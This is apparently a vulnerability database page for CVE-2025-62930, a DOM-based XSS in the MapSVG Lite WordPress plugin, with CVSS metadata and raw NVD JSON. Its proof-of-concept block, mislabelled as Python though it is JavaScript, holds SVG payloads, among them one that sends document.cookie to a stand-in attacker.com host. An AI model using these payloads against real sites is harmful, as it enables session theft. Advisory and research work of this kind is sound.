Security Vulnerability Report
中文
CVE-2025-62930 CVSS 6.5 MEDIUM

CVE-2025-62930

Published: 2025-10-27 02:15:53
Last Modified: 2026-04-27 17:16:35

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RomanCode MapSVG mapsvg-lite-interactive-vector-maps allows DOM-Based XSS.This issue affects MapSVG: from n/a through <= 8.7.22.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

MapSVG mapsvg-lite-interactive-vector-maps <= 8.7.22

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62930 PoC - DOM-based XSS in MapSVG WordPress Plugin // Target: WordPress with MapSVG Lite plugin <= 8.7.22 // Malicious SVG payload that triggers XSS const maliciousSVG = ` <svg xmlns="http://www.w3.org/2000/svg"> <script>alert(document.cookie)</script> </svg> `; // Alternative payload using event handlers const altPayload = ` <svg xmlns="http://www.w3.org/2000/svg"> <img src="x" onerror="fetch('https://attacker.com/steal?c='+document.cookie)"/> </svg> `; // Exploitation scenario: // 1. Attacker uploads malicious SVG file as map // 2. Victim views the page containing the map // 3. Browser parses SVG and executes injected JS // 4. Attacker steals session cookies or performs actions // Recommended PoC for verification: // <svg onload=alert(document.domain)>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62930", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:52.740", "lastModified": "2026-04-27T17:16:35.060", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in RomanCode MapSVG mapsvg-lite-interactive-vector-maps allows DOM-Based XSS.This issue affects MapSVG: from n/a through <= 8.7.22."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/mapsvg-lite-interactive-vector-maps/vulnerability/wordpress-mapsvg-plugin-8-7-15-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}